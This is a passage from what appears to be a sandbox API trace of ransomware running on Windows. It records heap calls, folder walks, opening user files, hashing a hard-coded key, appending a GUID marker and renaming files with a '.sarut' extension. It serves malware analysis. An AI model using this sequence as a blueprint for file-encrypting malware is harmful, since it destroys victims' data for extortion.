Size=0x90) returned 0x72ea40 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x6f1e70 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fec650 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x2fe7290 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fd3d00 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb6390 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f9050 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3023cf8 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3016548 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.561] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x72ea40 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0271.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0271.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.561] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0271.561] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0271.562] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30827b0 [0271.563] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.565] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.565] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.565] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0271.565] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.566] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.566] PathFindFileNameW (pszPath="") returned="" [0271.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.568] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.568] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0271.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.568] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0271.568] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.568] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0271.568] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.568] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\") returned="lTnvEEeQtMe\\" [0271.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\") returned="0_DXftOx\\" [0271.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0271.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.569] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.569] PathFindFileNameW (pszPath="") returned="" [0271.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71b58600, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0x81836460, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x81836460, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.569] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71b58600, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0x81836460, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x81836460, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.569] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd80f950, ftCreationTime.dwHighDateTime=0x1d4c890, ftLastAccessTime.dwLowDateTime=0x730cfff0, ftLastAccessTime.dwHighDateTime=0x1d4ce59, ftLastWriteTime.dwLowDateTime=0x730cfff0, ftLastWriteTime.dwHighDateTime=0x1d4ce59, nFileSizeHigh=0x0, nFileSizeLow=0x1418a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="95A_eDslLCP1_cxOmp.png", cAlternateFileName="95A_ED~1.PNG")) returned 1 [0271.569] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\95A_eDslLCP1_cxOmp.png") returned=".png" [0271.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\95A_eDslLCP1_cxOmp.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\95a_edsllcp1_cxomp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.570] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=82314) returned 1 [0271.570] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.573] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.573] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.574] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1418a, lpOverlapped=0x0) returned 1 [0271.575] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.575] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.575] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.576] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.577] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.577] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.577] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.577] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.577] GetLastError () returned 0x0 [0271.577] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.577] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.578] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1418a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.578] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.578] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.578] CloseHandle (hObject=0x5c4) returned 1 [0271.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\95A_eDslLCP1_cxOmp.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\95a_edsllcp1_cxomp.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\95A_eDslLCP1_cxOmp.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\95a_edsllcp1_cxomp.png.sarut")) returned 1 [0271.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.581] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.582] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798bdeb0, ftCreationTime.dwHighDateTime=0x1d4c985, ftLastAccessTime.dwLowDateTime=0x84aa24b0, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0x84aa24b0, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0x3b33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a4C0Db hej9s3eMTL.m4a", cAlternateFileName="A4C0DB~1.M4A")) returned 1 [0271.582] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\a4C0Db hej9s3eMTL.m4a") returned=".m4a" [0271.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\a4C0Db hej9s3eMTL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\a4c0db hej9s3emtl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.583] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=15155) returned 1 [0271.583] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.586] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3b0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.586] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.587] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x3b33, lpOverlapped=0x0) returned 1 [0271.588] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.588] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.588] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.588] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.589] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.589] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.589] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.589] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.589] GetLastError () returned 0x0 [0271.589] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.589] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.589] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.589] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3b33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.589] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.590] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.590] CloseHandle (hObject=0x5c4) returned 1 [0271.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\a4C0Db hej9s3eMTL.m4a" (normalized: "c:\\users\\5p5nrgjn0js 